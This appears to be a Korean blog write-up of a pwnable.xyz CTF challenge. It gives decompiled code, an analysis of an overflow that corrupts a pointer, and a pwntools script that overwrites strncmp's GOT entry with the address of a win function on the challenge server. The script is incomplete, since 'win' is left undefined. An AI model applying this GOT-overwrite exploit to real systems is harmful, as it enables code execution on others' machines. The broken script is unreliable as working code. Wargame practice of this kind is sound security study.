728x90

2개의 방법 중 하나를 선택해라고 한다. ㅣㅣ

 

ida로 함수를 보면, //지금 ida로 열다가 에러가 뭔 에러가 나서 변수 이름이 약간 다르다. 

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  signed int v5; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+30h] [rbp-20h]
  char *v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v4, v3);
      v5 = read_int32();
      if ( v5 != 2 )
        break;
      printf("nationality: ");
      v3 = (char *)&v7;
      v4 = "%24s";
      __isoc99_scanf("%24s", &v7);
    }
    if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        printf("age: ");
        v3 = v8;
        v4 = "%d";
        __isoc99_scanf("%d", v8);
      }
      else if ( v5 == 4 )
      {
        v4 = &s;
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        v4 = "Invalid";
        puts("Invalid");
      }
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_14;
      printf("name: ");
      v3 = &s;
      v4 = "%32s";
      __isoc99_scanf("%32s", &s);
    }
  }
}

처음 코드를 보고 생각한건, auth함수의 리턴값이 true(1)이면 풀리겠다 였다.

auth함수를 보면, 

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 31; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 32uLL) == 0;

 

&s2 와 s1을 비교해서 같아야 하는데, 위에 연산이 뭔말인지 당최 모르겠다..

&

이 방법 말고 다른 방법을 생각해보면, 3번을 선택했을때, (매뉴에서) 실행되는 scanf함수에서 &v8이 아닌 그냥 v8이 들어가 있다. 따라서 여기에 원하는 주소를 넣어주면 다음에 v8변수를 불러오면 원하는 함수가 실행될 것이다.

 

메모리 상태를 보면, 

지금 살짝 오류가 생겨서 안보이는데, 20이 v7, 10(var_10)이 v8이다. 둘의 거리는 16바이트이고, v7에 scanf는 24바이트를 읽는다. 따라서,  v7에 24바이트를 넣으면 마지막 8바이트는 v8로 들어간다. 

 

결론은,

1. 2번 메뉴에 들어가서 (v7)   아무(16바이트) + 원하는 주소(8바이트) 를 넣어주면 v8에 원하는 주소가 들어가고, 

2. 3번 메뉴에 들어가서(v8, scanf오류) win함수의 주소를 넣어주고, (이 문제도 역시 win함수에 flag가 있다)

3. 4번 메뉴에 들어가면 auth함수에서 strncmp함수를 읽으러 가다가 v8으로 갈것이다. 

 

strncmp got 주소 >> 

 

0x603018 

 

win 함수 주소 >> 

 

payload >>

from pwn import *
r = remote("svc.pwnable.xyz", 30031)
str_got = p64(0x603018)
payload="a"*16 + str_got
##########################3
r.sendafter(">", "2")
r.sendafter("nationality: ", payload)
r.sendafter(">", "3")
r.sendafter("age: ", win)
r.sendafter(">", "4")

r.interactive()

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.09.29
[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10

+ Recent posts